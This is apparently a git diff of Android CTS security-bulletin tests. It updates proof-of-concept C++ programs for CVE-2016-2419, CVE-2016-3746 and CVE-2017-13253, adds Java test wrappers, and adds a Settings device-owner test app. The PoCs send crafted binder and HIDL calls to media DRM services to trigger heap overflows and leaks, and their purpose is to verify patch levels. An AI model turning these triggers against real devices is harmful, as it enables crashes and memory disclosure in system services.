- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#include <binder/IServiceManager.h>
-#include <binder/MemoryDealer.h>
-#include <mediadrm/ICrypto.h>
-#include <mediadrm/IDrm.h>
-#include <mediadrm/IMediaDrmService.h>
-
-using namespace android;
-
-template <typename T>
-void mediaPoc(BpInterface<T> *sit) {
-  Parcel data, reply;
-  data.writeInterfaceToken(sit->getInterfaceDescriptor());
-  data.writeInt32(0);
-  data.writeInt32(0);
-  static const uint8_t kDummy[16] = {0};
-  data.write(kDummy, 16);
-  data.write(kDummy, 16);
-  const int wsize = 16 * 1024;
-  sp<MemoryDealer> dealer = new MemoryDealer(wsize);
-  sp<IMemory> memory = dealer->allocate(wsize);
-  data.writeInt32(wsize);
-  data.writeStrongBinder(IInterface::asBinder(memory));
-  const int ss = 0x1;
-  data.writeInt32(0xffffff00);
-  data.writeInt32(ss);
-  CryptoPlugin::SubSample samples[ss];
-  for (int i = 0; i < ss; i++) {
-    samples[i].mNumBytesOfEncryptedData = 0;
-    samples[i].mNumBytesOfClearData = wsize;
-  }
-  data.write(samples, sizeof(CryptoPlugin::SubSample) * ss);
-  char out[wsize] = {0};
-  reply.read(out, wsize);
-}
-
-static const uint8_t kClearKeyUUID[16] = {0x10, 0x77, 0xEF, 0xEC, 0xC0, 0xB2,
-                                          0x4D, 0x02, 0xAC, 0xE3, 0x3C, 0x1E,
-                                          0x52, 0xE2, 0xFB, 0x4B};
-
-int main(void) {
-  status_t st;
-  sp<ICrypto> crypto =
-      interface_cast<IMediaDrmService>(
-          defaultServiceManager()->getService(String16("media.drm")))
-          ->makeCrypto();
-
-  sp<IDrm> drm = interface_cast<IMediaDrmService>(
-                     defaultServiceManager()->getService(String16("media.drm")))
-                     ->makeDrm();
-
-  Vector<uint8_t> sess;
-  st = drm->createPlugin(kClearKeyUUID, (String8) "test");
-  st = drm->openSession(DrmPlugin::kSecurityLevelMax, sess);
-  st = crypto->createPlugin(kClearKeyUUID, sess.array(), sess.size());
-  BpInterface<ICrypto> *sit = static_cast<BpInterface<ICrypto> *>(crypto.get());
-  mediaPoc(sit);
-  return 0;
-}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2419/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2419/poc.cpp
index be714bf..7468060 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2419/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2419/poc.cpp
@@ -31,7 +31,6 @@
 #include <media/IMediaPlayer.h>
 #include <media/IMediaPlayerClient.h>
 #include <media/IMediaPlayerService.h>
-#include <mediadrm/IDrm.h>
 #include <sys/stat.h>
 #include <sys/types.h>
 #include <sys/wait.h>
@@ -51,11 +50,11 @@
   data.writeInterfaceToken(iMediaPlayerService->getInterfaceDescriptor());
   IMediaPlayerService::asBinder(iMediaPlayerService)
       ->transact(2 /*MAKE_DRM*/, data, &reply); //MAKE_DRM : 2 (N & O branch), 6 (M Branch)
-  sp<IDrm> iDrm = interface_cast<IDrm>(reply.readStrongBinder());
+  sp<IBinder> iDrm(reply.readStrongBinder());
 
   Parcel data2, reply2;
   data2.writeInterfaceToken(iDrm->getInterfaceDescriptor());
-  IDrm::asBinder(iDrm)->transact(7 /*GET_KEY_REQUEST*/, data2, &reply2);
+  iDrm->transact(7 /*GET_KEY_REQUEST*/, data2, &reply2);
   reply2.readInt32();
   reply2.readInt32();
   unsigned int leaked = reply2.readInt32();
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3746/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3746/poc.cpp
index 7b67095..1e55834 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3746/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3746/poc.cpp
@@ -80,7 +80,7 @@
   sp<MemoryDealer> dealerIn = new MemoryDealer(inSize);
   IOMX::buffer_id inBufferId = 0;
   memory = dealerIn->allocate(inSize);
-  if (memory.get() == nullptr || memory->pointer() == nullptr) {
+  if (memory.get() == nullptr || memory->unsecurePointer() == nullptr) {
     ALOGE("memory allocate failed for port index 0, err: %d", err);
     mOMXNode->freeNode();
     client.disconnect();
@@ -93,7 +93,7 @@
    */
 
   OMXBuffer omxInBuf(memory);
-  memset(memory->pointer(), 0xCF, inSize);
+  memset(memory->unsecurePointer(), 0xCF, inSize);
   err = mOMXNode->useBuffer(0, omxInBuf, &inBufferId);
   ALOGI("useBuffer, port index 0, err: %d", err);
 
@@ -106,7 +106,7 @@
   sp<MemoryDealer> dealerOut = new MemoryDealer(outSize);
   IOMX::buffer_id outBufferId = 0;
   memory = dealerOut->allocate(outSize);
-  if (memory.get() == nullptr || memory->pointer() == nullptr) {
+  if (memory.get() == nullptr || memory->unsecurePointer() == nullptr) {
     ALOGE("memory allocate failed for port index 1, err: %d", err);
     mOMXNode->freeNode();
     client.disconnect();
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13253/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13253/Android.bp
index aaa2fa5..5a8d964 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13253/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13253/Android.bp
@@ -1,4 +1,4 @@
-// Copyright (C) 2018 The Android Open Source Project
+// Copyright (C) 2019 The Android Open Source Project
 //
 // Licensed under the Apache License, Version 2.0 (the "License");
 // you may not use this file except in compliance with the License.
@@ -16,14 +16,24 @@
     name: "CVE-2017-13253",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
     srcs: ["poc.cpp"],
+
     header_libs: ["libmediadrm_headers"],
+
     shared_libs: [
-        "libmedia",
-        "libutils",
+        "android.hardware.drm@1.2",
         "libbinder",
+        "libhidlallocatorutils",
+        "libhidlbase",
+        "libhidlmemory",
+        "liblog",
+        "libmedia",
         "libmediadrm",
+        "libutils",
     ],
+
     cflags: [
+        "-Wall",
+        "-Werror",
         "-Wno-unused-parameter",
         "-Wno-unused-variable",
     ],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13253/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13253/poc.cpp
index e7f0868..1220dfc 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13253/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13253/poc.cpp
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2019 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -13,72 +13,100 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
-#include <binder/IMemory.h>
-#include <binder/IServiceManager.h>
-#include <binder/MemoryBase.h>
-#include <binder/MemoryHeapBase.h>
-#include <media/hardware/CryptoAPI.h>
-#include <mediadrm/ICrypto.h>
-#include <mediadrm/IMediaDrmService.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <utils/StrongPointer.h>
 
-#include <stdio.h>
+#include <android/hardware/drm/1.0/ICryptoFactory.h>
+#include <android/hardware/drm/1.0/ICryptoPlugin.h>
+#include <android/hardware/drm/1.0/types.h>
+#include <android/hardware/drm/1.2/ICryptoPlugin.h>
+#include <android/hardware/drm/1.2/types.h>
+#include <binder/IMemory.h>
+#include <binder/MemoryDealer.h>
+#include <hidl/HidlSupport.h>
+#include <hidlmemory/FrameworkUtils.h>
+#include <mediadrm/DrmUtils.h>
 #include <unistd.h>
 
+#include <cstdint>
+#include <cstdio>
+#include <vector>
+
+#include "../includes/common.h"
+
 using namespace android;
+using namespace ::android::hardware::drm;
+using ::android::IMemoryHeap;
+using ::android::MemoryDealer;
+using ::android::sp;
+using ::android::hardware::fromHeap;
+using ::android::hardware::hidl_string;
+using ::android::hardware::hidl_vec;
+using ::android::hardware::HidlMemory;
+using ::android::hardware::drm::V1_0::BufferType;
+using ::android::hardware::drm::V1_0::DestinationBuffer;
+using ::android::hardware::drm::V1_0::ICryptoFactory;
+using ::android::hardware::drm::V1_0::ICryptoPlugin;
+using ::android::hardware::drm::V1_0::Mode;
+using ::android::hardware::drm::V1_0::Pattern;
+using ::android::hardware::drm::V1_0::SharedBuffer;
+using ::android::hardware::drm::V1_0::Status;
+using ::android::hardware::drm::V1_0::SubSample;
 
-int main()
-{
-  sp<IServiceManager> sm = defaultServiceManager();
-  sp<IBinder> binder = sm->getService(String16("media.drm"));
-  sp<IMediaDrmService> service = interface_cast<IMediaDrmService>(binder);
-  if (service == NULL) {
-    printf("Failed to retrieve 'media.drm' service.\n");
-    return 1;
+namespace {
+
+uint32_t kHeapSize = 0x2000;
+
+void setHeapBase(const sp<ICryptoPlugin> &plugin) {
+  sp<MemoryDealer> memoryDealer = new MemoryDealer(kHeapSize);
+  sp<IMemoryHeap> memoryHeap = memoryDealer->getMemoryHeap();
+  memset(memoryHeap->getBase(), 'A', kHeapSize);
+  sp<HidlMemory> hidlMemory = fromHeap(memoryHeap);
+  plugin->setSharedBufferBase(*hidlMemory, 0);
+  return;
+}
+
+template <typename Status_, typename Plugin, typename Decrypt>
+void decrypt(Plugin *plugin, Decrypt decrypt) {
+  Pattern hPattern{.encryptBlocks = 0, .skipBlocks = 1};
+  SharedBuffer hSource{.bufferId = 0, .offset = 0, .size = kHeapSize};
+  hidl_vec<SubSample> subSamples{
+      {.numBytesOfClearData = kHeapSize, .numBytesOfEncryptedData = 0}};
+  DestinationBuffer hDestination{
+      .type = BufferType::SHARED_MEMORY,
+      .nonsecureMemory = {.bufferId = 0, .offset = kHeapSize - 1, .size = 1}};
+
+  (plugin->*decrypt)(
+      false, {}, {}, Mode::UNENCRYPTED, hPattern, subSamples, hSource, 0,
+      hDestination, [&](Status_ err, uint32_t, hidl_string msg) {
+        if (err != static_cast<Status_>(V1_0::Status::BAD_VALUE) &&
+            err != static_cast<Status_>(V1_0::Status::ERROR_DRM_UNKNOWN) &&
+            err !=
+                static_cast<Status_>(V1_2::Status::ERROR_DRM_FRAME_TOO_LARGE)) {
+          ALOGE("OVERFLOW DETECTED %d %s\n", err, msg.c_str());
+        }
+      });
+}
+
+}  // namespace
+
+static void handler(int) {
+  ALOGI("Good, the test condition has been triggered");
+  exit(EXIT_VULNERABLE);
+}
+
+int main() {
+  const uint8_t uuid[16] = {0x10, 0x77, 0xef, 0xec, 0xc0, 0xb2, 0x4d, 0x02,
+                            0xac, 0xe3, 0x3c, 0x1e, 0x52, 0xe2, 0xfb, 0x4b};
+
+  signal(SIGABRT, handler);
+
+  for (const auto &plugin : DrmUtils::MakeCryptoPlugins(uuid, nullptr, 0)) {
+    setHeapBase(plugin);
+    decrypt<V1_0::Status>(plugin.get(), &V1_0::ICryptoPlugin::decrypt);
+    sp<V1_2::ICryptoPlugin> plugin_1_2 = V1_2::ICryptoPlugin::castFrom(plugin);
+    if (plugin_1_2.get()) {
+      decrypt<V1_2::Status>(plugin_1_2.get(),
+                            &V1_2::ICryptoPlugin::decrypt_1_2);
+    }
   }
-  sp<ICrypto> crypto = service->makeCrypto();
-  if (crypto == NULL) {
-    printf("makeCrypto failed.\n");
-    return 1;
-  }
-
-  const uint8_t clearkey_uuid[16] = {
-    0x10, 0x77, 0xEF, 0xEC, 0xC0, 0xB2, 0x4D, 0x02,
-    0xAC, 0xE3, 0x3C, 0x1E, 0x52, 0xE2, 0xFB, 0x4B
-  };
-  if (crypto->createPlugin(clearkey_uuid, NULL, 0) != OK) {
-    printf("createPlugin failed.\n");
-    return 1;
-  }
-
-  sp<MemoryHeapBase> heap = new MemoryHeapBase(0x2000);
-  memset(heap->getBase(), 'A', 0x2000);
-  sp<MemoryBase> sourceMemory = new MemoryBase(heap, 0, 0x2000);
-  sp<MemoryBase> destMemory = new MemoryBase(heap, 0x1fff, 1);
-  int heapSeqNum = crypto->setHeap(heap);
-  if (heapSeqNum < 0) {
-    printf("setHeap failed.\n");
-    return 1;
-  }
-
-  CryptoPlugin::Pattern pattern = { .mEncryptBlocks = 0, .mSkipBlocks = 1 };
-  ICrypto::SourceBuffer source = { .mSharedMemory = sourceMemory,
-    .mHeapSeqNum = heapSeqNum };
-  CryptoPlugin::SubSample subSamples[1] = { { .mNumBytesOfClearData = 0x2000,
-      .mNumBytesOfEncryptedData = 0 } };
-  ICrypto::DestinationBuffer destination = {
-    .mType = ICrypto::kDestinationTypeSharedMemory, .mHandle = NULL, .mSharedMemory = destMemory
-  };
-
-  int val = crypto->decrypt(NULL, NULL,
-      CryptoPlugin::kMode_Unencrypted, pattern, source, 0, subSamples, 1,
-      destination, NULL);
-
-  if (val != BAD_VALUE) {
-    printf("OVERFLOW DETECTED\n");
-  }
-
   return 0;
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_02.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_02.java
deleted file mode 100644
index 4a638a9..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_02.java
+++ /dev/null
@@ -1,29 +0,0 @@
-/**
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-
-public class Poc16_02 extends SecurityTestCase {
-    /**
-     *  b/25800375
-     */
-    @SecurityTest(minPatchLevel = "2016-02")
-    public void testPocCVE_2016_0811() throws Exception {
-        AdbUtils.runPocAssertNoCrashes("CVE-2016-0811", getDevice(), "mediaserver");
-    }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java
index 4bf7b80..f916d7e 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2017 The Android Open Source Project
+ * Copyright (C) 2019 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -21,11 +21,10 @@
 public class Poc18_03 extends SecurityTestCase {
 
   /**
-   *  b/71389378
+   * CVE-2017-13253
    */
   @SecurityTest(minPatchLevel = "2018-03")
   public void testPocCVE_2017_13253() throws Exception {
-    String output = AdbUtils.runPoc("CVE-2017-13253", getDevice());
-    assertNotMatchesMultiLine("OVERFLOW DETECTED",output);
+    AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2017-13253", getDevice(), 300);
   }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_07.java
new file mode 100644
index 0000000..77400a7
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_07.java
@@ -0,0 +1,42 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertTrue;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc19_07 extends SecurityTestCase {
+    /**
+     * Bug-137282168
+     */
+    @SecurityTest(minPatchLevel = "2019-07")
+    public void testPocBug_137282168() throws Exception {
+        assertFalse("Heap buffer overflow encountered",
+            AdbUtils.runPocCheckExitCode("Bug-137282168", getDevice(), 300));
+    }
+
+    /**
+     * Bug-137878930
+     */
+    @SecurityTest(minPatchLevel = "2019-07")
+    public void testPocBug_137878930() throws Exception {
+        assertFalse("Heap use after free encountered",
+            AdbUtils.runPocCheckExitCode("Bug-137878930", getDevice(), 300));
+    }
+}
diff --git a/hostsidetests/settings/Android.bp b/hostsidetests/settings/Android.bp
new file mode 100644
index 0000000..2355982
--- /dev/null
+++ b/hostsidetests/settings/Android.bp
@@ -0,0 +1,34 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsSettingsHostTestCases",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    libs: [
+        "tools-common-prebuilt",
+        "cts-tradefed",
+        "tradefed",
+        "compatibility-host-util",
+        "guava",
+        "truth-prebuilt",
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "arcts",
+        "cts",
+        "general-tests",
+        "vts",
+    ],
+}
diff --git a/hostsidetests/settings/AndroidTest.xml b/hostsidetests/settings/AndroidTest.xml
new file mode 100644
index 0000000..6999d4d
--- /dev/null
+++ b/hostsidetests/settings/AndroidTest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Settings host test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <!-- Instant apps can never be device admin / profile owner / device owner so positive tests
+         here are not applicable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <!-- Not testing features backed by native code, so only need to run against one ABI -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsSettingsHostTestCases.jar" />
+    </test>
+</configuration>
diff --git a/hostsidetests/settings/OWNERS b/hostsidetests/settings/OWNERS
new file mode 100644
index 0000000..12341eb
--- /dev/null
+++ b/hostsidetests/settings/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 100560
+include /tests/admin/OWNERS
diff --git a/hostsidetests/settings/app/DeviceOwnerApp/Android.bp b/hostsidetests/settings/app/DeviceOwnerApp/Android.bp
new file mode 100644
index 0000000..72e16bd
--- /dev/null
+++ b/hostsidetests/settings/app/DeviceOwnerApp/Android.bp
@@ -0,0 +1,44 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsSettingsDeviceOwnerApp",
+    defaults: ["cts_defaults"],
+    platform_apis: true,
+    srcs: [
+        "src/**/*.java",
+        "src/**/I*.aidl",
+    ],
+    aidl: {
+        local_include_dirs: ["src"],
+    },
+    libs: [
+        "android.test.runner.stubs",
+        "junit",
+        "android.test.base.stubs",
+    ],
+    static_libs: [
+        "compatibility-device-util-axt",
+        "androidx.test.rules",
+        "ub-uiautomator",
+        "truth-prebuilt",
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "arcts",
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/settings/app/DeviceOwnerApp/AndroidManifest.xml b/hostsidetests/settings/app/DeviceOwnerApp/AndroidManifest.xml
new file mode 100644
index 0000000..b70c972
--- /dev/null
+++ b/hostsidetests/settings/app/DeviceOwnerApp/AndroidManifest.xml
@@ -0,0 +1,50 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.google.android.cts.deviceowner" >
+
+    <application
+        android:label="Privacy Settings for Device Owner CTS host side app"
+        android:testOnly="true">
+
+        <uses-library android:name="android.test.runner" />
+
+        <activity
+            android:name="com.google.android.cts.deviceowner.WorkPolicyInfoActivity"
+            android:exported="true"
+            android:launchMode="singleTask">
+            <intent-filter>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <action android:name="android.settings.SHOW_WORK_POLICY_INFO"/>
+            </intent-filter>
+        </activity>
+
+        <receiver
+            android:name="com.google.android.cts.deviceowner.DeviceOwnerTest$BasicAdminReceiver"
+            android:permission="android.permission.BIND_DEVICE_ADMIN">
+            <meta-data android:name="android.app.device_admin"
+                       android:resource="@xml/device_admin" />
+            <intent-filter>
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+            </intent-filter>
+        </receiver>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="com.google.android.cts.deviceowner"
+                     android:label="Privacy Settings for Device Owner CTS tests"/>
+</manifest>
diff --git a/hostsidetests/settings/app/DeviceOwnerApp/res/xml/device_admin.xml b/hostsidetests/settings/app/DeviceOwnerApp/res/xml/device_admin.xml
new file mode 100644
index 0000000..49230ea
--- /dev/null
+++ b/hostsidetests/settings/app/DeviceOwnerApp/res/xml/device_admin.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<device-admin xmlns:android="http://schemas.android.com/apk/res/android" android:visible="false">
+    <uses-policies>
+    </uses-policies>
+</device-admin>
diff --git a/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/ClearDeviceOwnerTest.java b/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/ClearDeviceOwnerTest.java
new file mode 100644
index 0000000..0e367ad
--- /dev/null
+++ b/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/ClearDeviceOwnerTest.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.google.android.cts.deviceowner;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.test.AndroidTestCase;
+
+/** Utility test to clear the device owner and active admin. */
+public class ClearDeviceOwnerTest extends AndroidTestCase {
+
+    private DevicePolicyManager mDevicePolicyManager;
+
+    @Override
+    protected void tearDown() throws Exception {
+        mDevicePolicyManager =
+                (DevicePolicyManager) mContext.getSystemService(Context.DEVICE_POLICY_SERVICE);
+        if (mDevicePolicyManager != null) {
+            if (mDevicePolicyManager.isDeviceOwnerApp(DeviceOwnerTest.PACKAGE_NAME)) {
+                mDevicePolicyManager.clearDeviceOwnerApp(DeviceOwnerTest.PACKAGE_NAME);
+            }
+            waitUntilActiveAdminIsRemoved(DeviceOwnerTest.RECEIVER_COMPONENT);
+            assertFalse(mDevicePolicyManager.isDeviceOwnerApp(DeviceOwnerTest.PACKAGE_NAME));
+            // Ignoring the fact that it might still be an active admin, as removing the admin
+            // is flakey on old devices.
+            assertFalse(mDevicePolicyManager.isAdminActive(DeviceOwnerTest.RECEIVER_COMPONENT));
+        }
+
+        super.tearDown();
+    }
+
+    /**
+     * This test clears the device owner and active admin on tearDown(). To be called from the host
+     * side test once a test case is finished.
+     */
+    public void testClearDeviceOwner() {}
+
+    private void waitUntilActiveAdminIsRemoved(ComponentName cn) throws InterruptedException {
+        for (int i = 0; i < 1000 && mDevicePolicyManager.isAdminActive(cn); i++) {
+            Thread.sleep(100);
+        }
+    }
+}
diff --git a/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/DeviceOwnerTest.java b/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/DeviceOwnerTest.java
new file mode 100644
index 0000000..842d83a
--- /dev/null
+++ b/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/DeviceOwnerTest.java
@@ -0,0 +1,159 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.google.android.cts.deviceowner;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.os.RemoteException;
+import android.provider.Settings;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.Until;
+import android.test.InstrumentationTestCase;
+import androidx.test.InstrumentationRegistry;
+
+/**
+ * Class for device-owner based tests.
+ *
+ * <p>This class handles making sure that the test is the device owner and that it has an active
+ * admin registered if necessary. The admin component can be accessed through {@link #getWho()}.
+ */
+public class DeviceOwnerTest extends InstrumentationTestCase {
+
+    public static final int TIMEOUT = 2000;
+
+    protected Context mContext;
+    protected UiDevice mDevice;
+
+    /** Device Admin receiver for DO. */
+    public static class BasicAdminReceiver extends DeviceAdminReceiver {
+        /* empty */
+    }
+
+    static final String PACKAGE_NAME = DeviceOwnerTest.class.getPackage().getName();
+    static final ComponentName RECEIVER_COMPONENT =
+            new ComponentName(PACKAGE_NAME, BasicAdminReceiver.class.getName());
+
+    protected DevicePolicyManager mDevicePolicyManager;
+    protected PackageManager mPackageManager;
+    protected boolean mIsDeviceOwner;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mContext = getInstrumentation().getContext();
+        mDevice = UiDevice.getInstance(getInstrumentation());
+        mPackageManager = mContext.getPackageManager();
+        mDevicePolicyManager =
+                (DevicePolicyManager) mContext.getSystemService(Context.DEVICE_POLICY_SERVICE);
+
+        mIsDeviceOwner = mDevicePolicyManager.isDeviceOwnerApp(PACKAGE_NAME);
+        if (mIsDeviceOwner) {
+            assertTrue(mDevicePolicyManager.isAdminActive(RECEIVER_COMPONENT));
+
+            // Note DPM.getDeviceOwner() now always returns null on non-DO users as of NYC.
+            assertEquals(PACKAGE_NAME, mDevicePolicyManager.getDeviceOwner());
+        }
+
+        try {
+            mDevice.setOrientationNatural();
+        } catch (RemoteException e) {
+            throw new RuntimeException("failed to freeze device orientation", e);
+        }
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        mDevice.pressBack();
+        mDevice.pressHome();
+        mDevice.waitForIdle(TIMEOUT); // give UI time to finish animating
+    }
+
+    private boolean launchPrivacyAndCheckWorkPolicyInfo() throws Exception {
+        // Launch Settings
+        launchSettingsPage(InstrumentationRegistry.getContext(), Settings.ACTION_PRIVACY_SETTINGS);
+
+        // Wait for loading permission usage data.
+        mDevice.waitForIdle(TIMEOUT);
+
+        return (null != mDevice.wait(Until.findObject(By.text("Your work policy info")), TIMEOUT));
+    }
+
+    private void launchSettingsPage(Context ctx, String pageName) throws Exception {
+        Intent intent = new Intent(pageName);
